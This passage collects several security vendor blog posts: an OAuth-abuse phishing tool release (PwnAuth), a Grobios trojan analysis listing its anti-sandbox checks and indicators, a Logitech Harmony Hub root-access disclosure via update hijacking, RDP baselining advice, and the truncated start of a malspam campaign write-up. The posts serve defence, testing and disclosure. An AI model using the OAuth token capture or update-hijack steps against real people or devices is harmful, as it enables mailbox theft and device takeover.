  4. Whitelist IP address ranges that are confirmed as legitimate for remote access users based on baselining or physical location registrations. If whitelisting is not possible, blacklist IP address ranges registered to physical locations or cloud hosting providers that should never legitimately authenticate to your remote access portal.
  5. Utilize either SIEM capabilities or GeoLogonalyzer.py to perform GeoFeasibility analysis of all remote access on a regular frequency to establish a baseline of accounts that legitimately perform unexpected logon activity and identify new anomalies. Investigating anomalies may require contacting the owner of the user account in question. FireEye Helix analyzes live log data for all techniques utilized by GeoLogonalyzer, and more!

Download GeoLogonalyzer today.

Acknowledgements

Christopher Schmitt, Seth Summersett, Jeff Johns, and Alexander Mulfinger.

Shining a Light on OAuth Abuse with PwnAuth

Introduction

Spear phishing attacks are seen as one of the biggest cyber threats to an organization. It only takes one employee to enter their credentials or run some malware for an entire organization to become compromised. As such, companies devote significant resources to preventing credential harvesting and payload-driven social engineering attacks. Less attention, however, has been paid to a non-traditional, but just as dangerous, method of social engineering: OAuth abuse. In an OAuth abuse attack, a victim authorizes a third-party application to access their account. Once authorized, the application can access the user's data without the need for credentials and bypassing any two-factor authentication that may be in place.

Today, I’m releasing PwnAuth, a platform to allow organizations and penetration testers an opportunity to test their ability to detect and respond to OAuth abuse social engineering campaigns. In releasing the tool, we hope to increase awareness about this threat, improve the security community’s ability to detect it, and provide countermeasures for defenders.

Head over to our GitHub to start using PwnAuth.

What is OAuth?

OAuth 2.0 is described as "An open protocol to allow secure authorization in a simple and standard method from web, mobile and desktop applications..." It has become the de facto protocol that major Internet companies such as Amazon, Google, Facebook, and Microsoft use to facilitate granting third-party applications access to user data. An application that accesses your Microsoft OneDrive to allow for easy file sharing is an example of an application that would leverage OAuth.

Let’s use an application accessing OneDrive as an example to define some roles in an OAuth authorization flow:

The Application, or "Client"

The third-party application that is requesting access. In this case, the application that wishes to access your OneDrive files is the "Client."

The API "Resource"

The target application the "Client" wishes to access. In this case, the Microsoft OneDrive API endpoint is the "Resource."

The "Resource Owner"

The person granting access to a portion of their account. In this case, you.

The Authorization Server

The Authorization Server presents the interface that the Resource Owner uses to give or deny consent. The server could be the same as the API Resource or a different component. In this case, the Microsoft login portal is the "Authorization Server".

Scope

The Scope is defined as the type of access that the third-party application is requesting. Most API Resources will define a set of scopes that applications can request. This is similar to the permissions that an Android phone application would request on installation. In this example, the application may request access to your OneDrive files and user profile.

OAuth 2.0 provides several different authorization "grant types" to facilitate the different applications that we, as users, interact with. For the purpose of this post, we are interested in the "Authorization Code" grant type, which is used by web applications implementing OAuth. The following is an example authorization flow:

1.  A "Consent" link is created that directs the Resource Owner to the Authorization Server with parameters identifying the Application and the scopes requested.

https://login.microsoftonline.com/auth
?response_type=code
&client_id=123456789
&redirect_uri=https%3A%2F%2Fexample-app.com%2Fcallback
&scope=mail.read+offline_access

2.  The Resource Owner will be presented with an authorization prompt, stating the application name and requested scopes. The Resource Owner has the option to approve or deny this authorization request.

3.  Upon approval, the Authorization Server will redirect back to the Application with an authorization code.

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-store
Pragma: no-cache
   
{
"access_token":"aMQe28fhjad8fasdf",
"token_type":"bearer",
"expires_in":3600,
"refresh_token":"OWWGE3YmIwOGYzYTlmM2YxNmMDFkNTVk",
"scope":"mail.read+offline_access"
}

4.  The Application can then use the authorization code and request an access token from the Authorization Server. Access tokens can be used for a set duration of time to access the user’s data from the API Resource, without any further action by the Resource Owner.

Room For Abuse

OAuth applications provide an ideal vector through which attackers could compromise a target and harvest confidential data such as email, contacts, and files. An attacker could create a malicious application and use the obtained access tokens to retrieve victims' account data via the API Resource. The access tokens do not require knowledge of the user's password, and bypass any two-factor enforcement. Further, the only way to remove an attacker's access is to explicitly revoke access to the OAuth application. In order to obtain OAuth tokens, an attacker would need to convince a victim to click a "Consent link" and approve the application via social engineering. Because all victim interaction is on sites owned by the legitimate Resource Provider (e.g. Microsoft), it can be hard for an untrained user to differentiate between a legitimate OAuth application and a malicious one.

Though likely not the first instance of such campaigns, OAuth abuse first came to the media's attention during the 2016 presidential election. FireEye wrote about APT28's usage of OAuth abuse to gain access to emails of U.S. politicians in our M-TRENDS 2017 report. Since then, FireEye has seen the technique spread to commodity worms seeking to spread across Gmail.

PwnAuth

PwnAuth is a web application framework I wrote to make it easier for organizations to test their ability to detect and respond to OAuth abuse campaigns. The web application provides penetration testers with an easy-to-use UI to manage malicious OAuth applications, store gathered OAuth tokens, and interact with API Resources. The application UI and framework are designed to be easily extendable to other API Resources through the creation of additional modules. While any cloud environment that allows OAuth applications could be targeted, currently PwnAuth ships with a module to support malicious Office 365 applications that will capture OAuth tokens and facilitate interaction with the Microsoft Graph API using those captured tokens. The Office 365 module itself could be further extended, but currently provides the following:

  • Reading mail messages
  • Searching the user's mailbox
  • Reading the user's contacts
  • Downloading messages and attachments
  • Searching OneDrive and downloading files
  • Sending messages on behalf of the user

The interface is designed to be intuitive and user-friendly. The first step to using PwnAuth would be to create a Microsoft Application. That information must then be entered into PwnAuth (Figure 1).


Figure 1: Importing a Microsoft App into PwnAuth

Once configured, you can use the generated "Authorization URL" to phish potential victims. When clicked, PwnAuth will capture victim OAuth tokens for later use. An example victim listing is shown in Figure 2.


Figure 2: Listing victim users in PwnAuth

Once PwnAuth has captured a victim's OAuth token, you can begin to access their data. Use PwnAuth to query the victim's mailbox for all messages containing the string "password", for example (Figure 3).


Figure 3: Searching the mailbox of a victim

See the GitHub wiki for more information on usage.

Mitigations

Our FireEye technology stack includes network-based signatures to detect potentially malicious OAuth consent URLs. Attackers tend to include certain scopes in malicious apps that can be detected and flagged. Organizations with social engineering training programs can add OAuth abuse scenarios to their existing programs to better educate users about this attacker vector. Additionally, organizations can take steps to limit the potential impact of malicious OAuth applications and increase their detection capabilities. The options available to an organization vary greatly depending on the API Resource, but, in general, include:

  • Limit the API scopes third-party apps can request.
  • Disable third-party apps in an organization.
  • Implement a whitelist or blacklist for applications.
  • Query an organization's user base for all consented applications.
  • Log any user consent events and report suspicious activity.

Office 365 in particular offers some options for administrators:

I have created a collection of scripts to assist administrators in hunting for malicious OAuth applications in cloud environments. Currently there is a script to investigate Office 365 tenants with plans to add other cloud environments.

Conclusion

OAuth abuse attacks are a dangerous and non-traditional phishing technique that attackers can use to gain access to an organization's confidential data. As we move more services to the cloud, organizations should be careful to lock down third-party application access and ensure that their monitoring and detection strategy covers application consent grants. Organizations and security professionals can use PwnAuth to test their ability to detect and respond to this new type of attack.

Head over to our GitHub and start using PwnAuth today.

A Deep Dive Into RIG Exploit Kit Delivering Grobios Trojan

As discussed in previous blogs, exploit kit activity has been on the decline since the latter half of 2016. However, we do still periodically observe significant developments in this space, and we have been observing interesting ongoing activity involving RIG Exploit Kit (EK). Although the volume of its traffic observed in-the-wild has been on the decline, RIG EK remains active, with a wide range of associated crimeware payloads.

In this recent finding, RIG EK was observed delivering a Trojan named Grobios. This blog post will discuss this Trojan in depth with a focus on its evasion and anti-sandbox techniques, but first let’s take a quick look at the attack flow. Figure 1 shows the entire infection chain for the activity we observed.


Figure 1: Infection chain

We first observed redirects to RIG EK on Mar. 10, 2018, from the compromised domain, latorre[.]com[.]au, which had a malicious iframe injected to it (Figure 2).


Figure 2: Malicious Iframe injected in latorre[.]com

The iframe loads a malvertisement domain, which communicates over SSL (certificate shown in Figure 3) and leads to the RIG EK landing page that loads the malicious Flash file (Figure 4).


Figure 3: Malicious SSL flow


Figure 4: RIG EK SWF download request

When opened, the Flash file drops the Grobios Trojan. Figure 5 shows the callback traffic from the Grobios Trojan.


Figure 5: Grobios callback

Analysis of the Dropped Malware

Grobios uses various techniques to evade detection and gain persistence on the machine, which makes it hard for it to be uninstalled or to go inactive on the victim machine. It also uses multiple anti-debugging, anti-analysis and anti-VM techniques to hide its behavior. After successful installation on the victim machine, it connects to its command and control (C2) server, which responds with commands.

In an effort to evade static detection, the authors have packed the sample with PECompact 2.xx. The unpacked sample has no function entries in the import table. It uses API hashing to obfuscate the names of API functions it calls and parses the PE header of the DLL files to match the name of a function to its hash. The malware also uses stack strings. Figure 6 shows an example of the malware calling WinApi using the hashes.


Figure 6: An example of calling WinAPI using their hashes.

Loading

The malware sample starts a copy of itself, which further injects its code into svchost.exe or IEXPLORE.EXE depending on the user privilege level. Both parent and child quit after injection is complete. Only svchost.exe/IEXPLORE.EXE keeps running. Figure 7 shows the process tree.


Figure 7: Process tree of the malware

Persistence

The malware has an aggressive approach to persistence. It employs the following techniques:

  • It drops a copy of itself into the %APPDATA% folder, masquerading as a version of legitimate software installed on the victim machine. It creates an Autorun registry key and a shortcut in the Windows Startup folder. During our analysis, it dropped itself to the following path:

%APPDATA%\Google\v2.1.13554\<RandomName>.exe. 

The path can vary depending on the folders the malware finds in %APPDATA%.

  • It drops multiple copies of itself in subfolders of a program at the path %ProgramFiles%/%PROGRAMFILES(X86)%,  again masquerading as a different version of the installed program, and sets an Autorun registry key or creates a scheduled task.
  • It drops a copy itself in the %Temp% folder, and creates a scheduled task to run it.

On an infected system, the malware creates two scheduled tasks, as shown in Figure 8.


Figure 8: Scheduled tasks created by the malware

The malware changes the file Created, Modified, and Accessed times of all of its dropped copies to the Last Modified time of ntdll.dll. To bypass the “File Downloaded from the Internet” warning, the malware removes the :Zone.Identifier flag using DeleteFile API, as shown in Figure 9.


Figure 9: Call to DeleteFileW to remove the :Zone.Identifier Flag from the dropped copy

An interesting behavior of this malware is that it protects its copy in the %TEMP% folder using EFS (Windows Encrypted File System), as seen in Figure 10.


Figure 10: Cipher Command Shows the Malware Copy Protected by EFS

Detecting VM and Malware Analysis Tools

Just before connecting to the C2, the malware does a series of checks to detect the VM and malware analysis environment. It can detect almost all well-known VM software, including Xen, QEMU, VMWare, Virtualbox, Hyper-V, and so on. The following is the list of checks it performs on the victim system:

  • Using the FindWindowEx API, it checks whether any of the analysis tools in Table 1 are running on the system.

Analysis Tools

PacketSniffer

FileMon

WinDbg

Process Explorer

OllyDbg

SmartSniff

cwmonitor

Sniffer

Wireshark

Table 1: Analysis tools detected by malware

  • The malware contains a list of hashes of blacklisted process names. It checks whether the hash of any of running process matches a hash on the blacklist, as shown in Figure 11. 


Figure 11: Check for blacklisted processes

We were able to crack the hashes of the blacklisted processes shown in Table 2.

Hash

Process

283ADE38h

vmware.exe

8A64214Bh

vmount2.exe

13A5F93h

vmusrvc.exe

0F00A9026h

vmsrvc.exe

0C96B0F73h

vboxservice.exe

0A1308D40h

vboxtray.exe

0E7A01D35h

xenservice.exe

205FAB41h

joeboxserver.exe

6F651D58h

joeboxcontrol.exe

8A703DD9h

wireshark.exe

1F758DBh

Sniffhit.exe

0CEF3A27Ch

sysAnalyzer.exe

6FDE1C18h

Filemon.exe

54A04220h

procexp.exe

0A17C90B4h

Procmon.exe

7215026Ah

Regmon.exe

788FCF87h

autoruns.exe

0A2BF507Ch

 

0A9046A7Dh

 

Table 2: Blacklisted processes

  • The malware enumerates registry keys in the following paths to see if they contain the words xen or VBOX:
    • HKLM\HARDWARE\ACPI\DSDT
    • HKLM\HARDWARE\ACPI\FADT
    • HKLM\HARDWARE\ACPI\RSDT
  • It checks whether services installed on the system contain any of the keywords in Table 3:

vmmouse

vmdebug

vmicexchange

vmicshutdown

vmicvss

vmicheartbeat

msvmmouf

VBoxMouse

vpcuhub

vpc-s3

vpcbus

vmx86

vmware

VMMEMCTL

VMTools

XenVMM

xenvdb

xensvc

xennet6

xennet

xenevtchn

VBoxSF

VBoxGuest

   

Table 3: Blacklisted service names

  • It checks whether the username contains any of these words:  MALWARE, VIRUS, SANDBOX, MALTEST
  • It has a list of hashes of blacklisted driver names. It traverses the windows driver directory %WINDIR%\system32\drivers\ using FindFirstFile/FindNextFile APIs to check if the hash of the name of any drivers matches with that of any blacklisted driver's name, as shown in Table 4.

Hash

Driver

0E687412Fh

hgfs.sys

5A6850A1h

vmhgfs.sys

0CA5B452h

prleth.sys

0F9E3EE20h

prlfs.sys

0E79628D7h

prlmouse.sys

68C96B8Ah

prlvideo.sys

0EEA0F1C2h

prl_pv32.sys

443458C9h

vpcs3.sys

2F337B97h

vmsrvc.sys

4D95FD80h

vmx86.sys

0EB7E0625h

vmnet.sys

Table 4: Hashes of blacklisted driver names

  • It calculates the hash of ProductId and matches it with three blacklisted hashes to detect public sandboxes, shown in Table 5.

Hash

Product Id

Sandbox Name

4D8711F4h

76487-337-8429955-22614

Anubis Sanbox

7EBAB69Ch

76487-644-3177037-23510

CWSandbox

D573F44D

55274-640-2673064-23950

Joe Sandbox

Table 5: Blacklisted product IDs

  • The malware calculates the hash of loaded module (DLL) names and compares them with the list of hashes of blacklisted module names shown in Table 6. These are the DLLs commonly loaded into the process being debugged, such as dbhelp.dll and api_log.dll.    

6FEC47C1h

6C8B2973h

0AF6D9F74h

49A4A30h

3FA86C7Dh

Table 6: Blacklisted module names hashes

Figure 12 shows the flow of code that checks for blacklisted module hashes.


Figure 12: Code checks for blacklisted module hashes

  • It checks whether Registry keys present at the path HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum and HKLM\SYSTEM\ControlSet001\Services\Disk\Enum contain any of these words: QEMU, VBOX, VMWARE, VIRTUAL
  • It checks whether registry keys at the path HKLM\SOFTWARE\Microsoft, HKLM\SOFTWARE  contain these words: VirtualMachine, vmware, Hyber-V
  • It checks whether the system bios version present at registry path HKLM\HARDWARE\DESCRIPTION\System\SystemBiosVersion contains these words: QEMU, BOCHS, VBOX
  • It checks whether the video bios version present at registry path HKLM\HARDWARE\DESCRIPTION\System\VideoBiosVersion contains  VIRTUALBOX substring.
  • It checks whether the registry key at path HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0\Identifier contains any of these words: QEMU,vbox, vmware
  • It checks whether the registry key HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions  exists on the system.

Network Communication

The malware contains two hardcoded obfuscated C2s. After de-obfuscating the C2 URLs, it generates a random string of 20 characters, appends it to the end of URL, and sends the request for commands. Before it executes the commands, the malware verifies the identity of the C2. It calculates the hash of 4 bytes of data using the CALG_MD5 algorithm. It then uses the Base64 data from the CERT command as a Public Key in CryptVerifySignature to verify the hash signature (Figure 13). If the signature is verified, the malware executes the commands.


Figure 13: Malware verifies the C2 hash

During our initial analysis, we found that the malware supports the commands shown in Table 7. 

Command

Description

CERT <Base64 data>

Contains the data used to verify the identity of the C2

CONNECT <IP:Port>

Connect to given host for further commands

DISCONNECT

Close all the connections

WAIT <Number of seconds>

Wait for the number of seconds before executing the next commands

REJECT

Kind of NOP. Move on to next command after waiting for 5 second

Table 7: Commands supported by malware

Figure 14 shows commands being issued by the C2 server.


Figure 14: Commands issued by the C2 server

Conclusion

Despite the decline in activity, exploit kits still continue to put users at risk – especially those running older versions of software. Enterprises need to make sure their network nodes are fully patched.

All FireEye products detect the malware in our MVX engine. Additionally, FireEye Network Security blocks delivery at the infection point.

Indicators of Compromise (IOCs)

  • 30f03b09d2073e415a843a4a1d8341af
  • 99787d194cbd629d12ef172874e82738
  • 169.239.129[.]17
  • grobiosgueng[.]su

Acknowledgments 

We acknowledge Mariam Muntaha for her contribution to the blog regarding malicious traffic analysis.

Rooting a Logitech Harmony Hub: Improving Security in Today’s IoT World

Introduction

FireEye’s Mandiant Red Team recently discovered vulnerabilities present on the Logitech Harmony Hub Internet of Things (IoT) device that could potentially be exploited, resulting in root access to the device via SSH. The Harmony Hub is a home control system designed to connect to and control a variety of devices in the user’s home. Exploitation of these vulnerabilities from the local network could allow an attacker to control the devices linked to the Hub as well as use the Hub as an execution space to attack other devices on the local network. As the Harmony Hub device list includes support for devices such as smart locks, smart thermostats as well as other smart home devices, these vulnerabilities present a very high risk to the users.

FireEye disclosed these vulnerabilities to Logitech in January 2018. Logitech was receptive and has coordinated with FireEye to release this blog post in conjunction with a firmware update (4.15.96) to address these findings.

The Red Team discovered the following vulnerabilities:

  • Improper certificate validation
  • Insecure update process
  • Developer debugging symbols left in the production firmware image
  • Blank root user password

The Red Team used a combination of the vulnerabilities to gain administrative access to the Harmony Hub. This blog post outlines the discovery and analysis process, and demonstrates the necessity of rigorous security testing of consumer devices – particularly as the public places an increasing amount of trust in devices that are not just connected to home networks, but also give access to many details about the daily lives of their users.

Device Analysis

Device Preparation

Publicly available research indicated the presence of a universal asynchronous receiver/transmitter (UART) interface on some of the test points on the Harmony Hub. We soldered jumper wires to the test pads, which allowed us to connect to the Harmony Hub using a TTL to USB serial cable. Initial analysis of the boot process showed that the Harmony Hub booted via U-Boot 1.1.4 and ran a Linux kernel (Figure 1).


Figure 1: Initial boot log output from UART interface

After this point in the boot process, the console stopped returning output because the kernel was not configured with any console interfaces. We reconfigured the kernel boot parameters in U-Boot to inspect the full boot process, but no useful information was recovered. Furthermore, because the UART interface was configured to only transmit, no further interaction could be performed with the Harmony Hub on this interface. Therefore, we shifted our focus to gaining a better understanding of the Linux operating system and associated software running on the Harmony Hub.

Firmware Recovery and Extraction

The Harmony Hub is designed to pair with a companion Android or iOS application over Bluetooth for its initial configuration. We created a wireless network with hostapd and installed a Burp Suite Pro CA certificate on a test Android device to intercept traffic sent by the Harmony mobile application to the Internet and to the Harmony Hub. Once initial pairing is complete, the Harmony application searches for Harmony Hubs on the local network and communicates with the Harmony Hub over an HTTP-based API.

Once connected, the Harmony application sends two different requests to Harmony Hub’s API, which cause the Harmony Hub to check for updates (Figure 2).


Figure 2: A query to force the Harmony Hub to check for updates

The Harmony Hub sends its current firmware version to a Logitech server to determine if an update is available (Figure 3). If an update is available, the Logitech server sends a response containing a URL for the new firmware version (Figure 4). Despite using a self-signed certificate to intercept the HTTPS traffic sent by the Harmony Hub, we were able to observe this process – demonstrating that the Harmony Hub ignores invalid SSL certificates.


Figure 3: The Harmony Hub checks for updates to its firmware


Figure 4: The server sends a response with a URL for the updated firmware

We retrieved this firmware and examined the file. After extracting a few layers of archives, the firmware can be found in the harmony-image.squashfs file. This filesystem image is a SquashFS filesystem compressed with lzma, a common format for embedded devices. However, vendors often use old versions of squashfstools that are incompatible with more recent squashfstools builds. We used the unsqashfs_all.sh script included in firmware-mod-kit to automate the process of finding the correct version of unsquashfs to extract the filesystem image (Figure 5).


Figure 5: Using firmware-mod-kit to extract the filesystem

With the filesystem contents extracted, we investigated some of the configuration details of the Harmony Hub’s operating system. Inspection revealed that various debug details were available in the production image, such as kernel modules that were not stripped (Figure 6).


Figure 6: Unstripped Linux kernel objects on the filesystem

Investigation of /etc/passwd showed that the root user had no password configured (Figure 7). Therefore, if we can enable the dropbear SSH server, we can gain root access to the Harmony Hub through SSH without a password.


Figure 7: /etc/passwd shows no password is configured for the root user

We observed that an instance of a dropbear SSH server will be enabled during initialization if the file /etc/tdeenable is present in the filesystem (Figure 8).


Figure 8: A dropbear SSH server is enabled by /etc/init.d/rcS script if /etc/tdeenable is present

Hijacking Update Process

During the initialization process, the Harmony Hub queries the GetJson2Uris endpoint on the Logitech API to obtain a list of URLs to use for various processes (Figure 9), such as the URL to use when checking for updated firmware or a URL to obtain information about updates’ additional software packages.


Figure 9: The request to obtain a list of URL endpoints for various processes

We intercepted and modified the JSON object in the response from the server to point the GetUpdates member to our own IP address, as shown in Figure 10.


Figure 10: The modified JSON object member

Similar to the firmware update process, the Harmony Hub sends a POST request to the endpoint specified by GetUpdates containing the current versions of its internal software packages. The request shown in Figure 11 contains a sample request for the HEOS package.


Figure 11: The JSON request object containing the current version of the “HEOS” package

If the sysBuild parameter in the POST request body does not match the current version known by the server, the server responds with an initial response containing information about the new package version. For an undetermined reason, the Harmony Hub ignores this initial response and sends a second request. The second response contains multiple URLs pointing to the updated package, as shown in Figure 12.


Figure 12: The JSON response containing URLs for the software update

We downloaded and inspected the .pkg files listed in the response object, which are actually just ZIP archives. The archives contain a simple file hierarchy, as shown in Figure 13.


Figure 13: The .pkg archive file hierarchy

The manifest.json file contains information used to instruct the Harmony Hub’s update process on how to handle the archive’s contents (Figure 14).


Figure 14: The contents of the manifest.json file

The Harmony Hub’s update process executes the script provided by the installer parameter of the manifest if it is present within the archive. We modified this script, as shown in Figure 15, to create the /etc/tdeenable file, which causes the boot process to enable the SSH interface as previously described.


Figure 15: The modified update.sh file

We created a new malicious archive with the appropriate .pkg extension, which was hosted on a local web server. The next time the Harmony Hub checked for updates against the URL supplied in the modified GetJson2URIs response, we sent a modified response to point to this update. The Harmony Hub retrieved our malicious update package, and after rebooting the Harmony Hub, the SSH interface was enabled. This allowed us to access the device with the username root and a blank password, as shown in Figure 16.


Figure 16: The SSH interface was enabled after a reboot

Conclusion

As technology becomes further embedded into our daily lives, the trust we place in various devices unknowingly increases exponentially. Due to the fact that the Harmony Hub, like many IoT devcies, uses a common processor architecture, malicious tools could easily be added to a compromised Harmony Hub, increasing the overall impact of a targeted attack. However, Logitech worked with our team to quickly address the vulnerabilities with their current firmware, 4.15.96. Developers of the devices we place our trust should be vigilant when removing potential attack vectors that could expose end users to security risks. We also want to share Logitech’s statement on the research and work by the Red Team:

"At Logitech, we take our customers’ security and privacy very seriously. In late January 2018, security research firm FireEye pointed out vulnerabilities that could impact Logitech Harmony Hub-based products*.

If a malicious hacker had already gained access to a Hub-users network, these vulnerabilities could be exploited. We appreciate the work that professional security research firms like FireEye provide when identifying these types of vulnerabilities on IoT devices.

As soon as FireEye shared their research findings with us, we reviewed internally and immediately started to develop firmware to address it. As of April 10, we have released firmware that addresses all of the vulnerabilities that were identified. For any customers who haven’t yet updated to firmware version 4.15.96, we recommend you check the MyHarmony software and sync your Hub-based remote and receive it. Complete directions on updating your firmware can be found here.

*Hub-based products include: Harmony Elite, Harmony Home Hub, Harmony Ultimate Hub, harmony Hub, Harmony Home Control, Harmony Pro, Harmony Smart Control, Harmony Companion, Harmony Smart Keyboard, Harmony Ultimate and Ultimate Home."

Establishing a Baseline for Remote Desktop Protocol

For IT staff and Windows power users, Microsoft Terminal Services Remote Desktop Protocol (RDP) is a beneficial tool that allows for the interactive use or administration of a remote Windows system. However, Mandiant consultants have also observed threat actors using RDP, with compromised domain credentials, to move laterally across networks with limited segmentation.

To understand how threat actors take advantage of RDP, consider the following example (and Figure 1):

  1. A staff member from the HR department working on his or her desktop inadvertently installs a malicious backdoor by interacting with a phishing email.
  2. The backdoor malware runs password stealing functionality from Mimikatz to obtain credentials stored in memory for any user accounts that have accessed the system.
  3. The backdoor creates a network tunnel to an attacker’s command and control (C2) server.
  4. The attacker logs on to the HR employee’s system with RDP through the network tunnel by using the compromised credentials.
  5. In pursuit of compromising financial information, the attacker uses Active Directory enumeration commands to identify domain-based systems used by the finance department.
  6. The attacker uses RDP and the compromised HR employee account to connect to a system in the finance department.
  7. The attacker uses Mimikatz to extract credentials on the finance system, resulting in access to  cached passwords for the finance employee who uses the system and an IT administrator who recently logged onto the system for troubleshooting.
  8. Using RDP, the attacker leverages the HR employee’s account, the finance employee’s account, and the IT administrator employee’s account to log onto additional systems in the environment.
  9. The attacker stages data onto the HR employee’s system.
  10. The attacker steals the files via the built-in RDP copy and paste functionality.


Figure 1: Example of a compromise that uses RDP for lateral movement

A best practice used to identify this type of activity is network baselining. To do this, an organization must first understand what is normal behavior for their specific environment, and then begin to configure detections based on unexpected patterns. Sample questions that can help determine practical detection techniques based on the aforementioned scenario include:

  1. Do our HR and/or finance employees typically use RDP?
  2. Do any of our HR employees RDP to a destination system in finance?
  3. Do any of our HR and/or finance employees RDP to multiple destination systems?
  4. Are the systems in our HR and/or finance departments used as source systems for RDP?
  5. Do our IT administrator accounts RDP from a source system that is not part of an IT network segment?
  6. Do any of our critical servers have logons from source systems that are not part of an IT network segment?
  7. Do any of our critical servers have RDP logons sourced from user accounts that are correlated to any of our HR and/or finance personnel?
  8. Is it expected for a single user account to initiate RDP connections from multiple source systems?

While it can take time to develop a customized process to baseline the scope of user accounts, source systems – and destination systems that leverage RDP in your organization’s environment – normalizing and reviewing this data will empower your staff with a deeper understanding of user account behavior, and the ability to detect unexpected activity to quickly begin investigating and triaging.

Tracking RDP through Event Logs

One first step and important resource for identifying your network’s typical behavior is through the use of event logs. RDP logons can generate file, event log, and registry artifacts on both the source and destination systems involved. Page 42 of JPCERT’s reference, “Detecting Lateral Movement through Tracking Event Logs,” details many artifacts that investigators may find on source and destination systems.

For the purpose of scalability, our baselining approach will focus on three high-fidelity logon events recorded on a destination system:

  • EID 21 and EID 25 within the “TerminalServices-LocalSessionManager” log, commonly located at “%systemroot%\Windows\System32\winevt\Logs\Microsoft-TerminalServices-LocalSessionmanager%3Operational.evtx”
  • EID 4624 entries of Type 10 logons within the “Security” log, commonly located at “%systemroot%\Windows\System32\winevt\Logs\Security.evtx”

The EID 21 entry shown in Figure 2 is created on a destination system when a successful interactive local or remote logon event occurs.


Figure 2: EID 21 Example Structure

The EID 25 entry shown in Figure 3 is created on a destination system that has been reconnected from a system that previously established an RDP session that was not terminated through a proper user logout. For example, closing the RDP window (which would generate EID 24), as opposed to logging off through the start menu (which would generate EID 23).


Figure 3: EID 25 Example Structure

The EID 4624 entry is created on a destination system when a logon of any type occurs. For evidence of RDP authentication, we will focus on EID 4624 entries with with Logon Type 10 as shown in Figure 4, which correspond to RDP authentications.


Figure 4: Type 10 EID 4624 Example Structure

These event log entries provide evidence of a successful RDP authentication from one system to another. For most security teams to collect this event log data, the logs must either be forwarded to an aggregation platform, such as a security information and event management (SIEM) platform, or collected using a forensic acquisition utility such as FireEye’s Endpoint Security (HX) appliance. Once extracted, the data must be processed and stacked for frequency analysis. The scope of this post is to generate metrics based on unique user accounts, source systems, and destination systems.

For both EID 21 and EID 25, the user account and source system are captured in the event log strings, while the destination system is the system that recorded the event. Note that the “Source Network Address” recorded within the log may be either a hostname or an IP address. Your data processor may benefit from mapping IP addresses and hostnames together, while keeping Dynamic Host Configuration Protocol (DHCP) leases in mind. Understanding which systems correlate to specific user accounts or business units will greatly benefit the analysis of the processed results. If your organization does not track this information, you should request for this documentation to be created or captured within an asset management database for automated correlation.

Identifying Inconsistencies

Once RDP activity is baselined across your environment via the analysis of event logs, security analysts can then begin to identify RDP activity that deviates from business requirements and normalized patterns. Keep in mind that distinguishing between legitimate and anomalous RDP activity may take time.

Not only will DHCP logs prove useful when mapping IP address to hostnames, but documentation that associates systems and user accounts with specific business units can also help with reviewing and correlating observed RDP activity for suspicious or benign behavior. Any RDP activity inconsistent with expected business practices should be investigated. Additionally, RDP logons confirmed as benign should be noted in the baseline for future investigators.

Leveraging Metrics

By using SIEM correlation techniques, analysts can stack RDP activity by account, source system, and destination system, to pinpoint the number/count of the following metrics-related elements, which will deepen the security staff’s understanding of RDP activity in your network:

  • source systems per user account
  • destination systems per user account
  • user accounts per each source system to destination system path
  • user accounts per each source systems
  • user accounts per each destination system
  • source system to destination system paths per user account
  • total RDP logons per user account
  • total RDP logons per source system
  • total RDP logons per destination system
  • destination systems for each source system
  • source systems for each destination systems

This list of metrics is not exhaustive and can be expanded by including timestamp metadata if desired.

Recommendations

While baselining RDP activity may not readily identify threat actors who do not utilize this technique, or who take extra steps to blend in with legitimate user activity, it will continually help analysts better understand what normal behavior looks like in their specific environments – and could ultimately identify anomalies or potential indicators of unauthorized activity.

The following recommendations can help maximize the effectiveness of your RDP baselining exercises, while also reducing the opportunities for RDP to be leveraged for malicious actors within your environment:

  1. Disable the remote desktop service on end-user workstations and laptops, as well as systems where the service is not required for remote connectivity.
  2. Where connectivity using RDP is required, implement a combination of host and network-based controls to enforce that RDP connectivity must be initiated from specific jump boxes and centralized management servers for remote connection to endpoints.
  3. Host-based firewall rules that explicitly deny inbound RDP connections provide enhanced protections, especially for remote users that may utilize their system at locations outside of an organization’s managed infrastructure. Use host-based firewall rules to:
    • Deny inbound RDP connections by default.
    • When required, explicitly permit inbound RDP only from IP addresses correlating to authorized jump boxes.
  4. Employ the “Deny log on through Remote Desktop Services” security setting to prevent standard users from connecting to endpoints using RDP.
    • Ideally, this setting should also deny RDP access for privileged accounts (e.g. domain administrators, service accounts) on endpoints, as these types of accounts are commonly leveraged by attackers for laterally moving to sensitive systems within an environment.
  5. Prevent the use of RDP using local accounts by:
    • Installing KB2871997, and adding the SID “S-1-5-114: NT AUTHORITY\Local account and member of Administrators group” to the “Deny log on through Remote Desktop Services” security setting on endpoints. This can be accomplished by using Group Policy.
    • Randomizing passwords for the built-in local administrator account on endpoints with a solution such as Microsoft LAPS.
  6. Ensure that EID 21, EID 23, EID 24, and EID 25 within the “TerminalServices LocalSessionManager Operational” event log are being captured and forwarded to a SIEM or log aggregator.
  7. Confirm that EID 4624 within the “Security” event log is being captured and forwarded to a SIEM or log aggregator.
  8. Increase the maximum size of the “TerminalServices LocalSessionManager Operational” and event log to at least 500 MB. This can be accomplished by using Group Policy Preferences (GPP) to modify the “MaxSize” registry value within the registry key “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-TerminalServices-LocalSessionManager/Operational” on endpoints.
  9. Increase the maximum size of the “Security” event log to at least 1 GB.
  10. Monitor for evidence of the “Security” and “TerminalServices LocalSessionManager Operational” event logs being cleared (EID 1102).
  11. Create and regularly update documentation that maps user accounts and hostnames to business units.
  12. Ensure DHCP logs are archived and easily accessible to correlate source system IP addresses with their hostname at the time of a logon event.

Metamorfo Campaigns Targeting Brazilian Users

FireEye Labs recently identified several widespread malspam (malware spam) campaigns targeting Brazilian companies with the goal of delivering banking Trojans. We are referring to these campaigns as Metamorfo. Across the stages of these campaigns, we have observed the use of several tactics and techniques to evade detection and deliver the malicious payload. In this blog post we dissect two of the main campaigns and explain how they work.

Campaign #1

The kill chain starts with an email containing an HTML attachment with a refresh tag that uses a Google URL shortener as the target. Figure 1 shows a sample email, and Figure 2 show the contents of the HTML file.


Figure 1: Malicious Email with HTML Attachment


Figure 2: Contents of HTML File

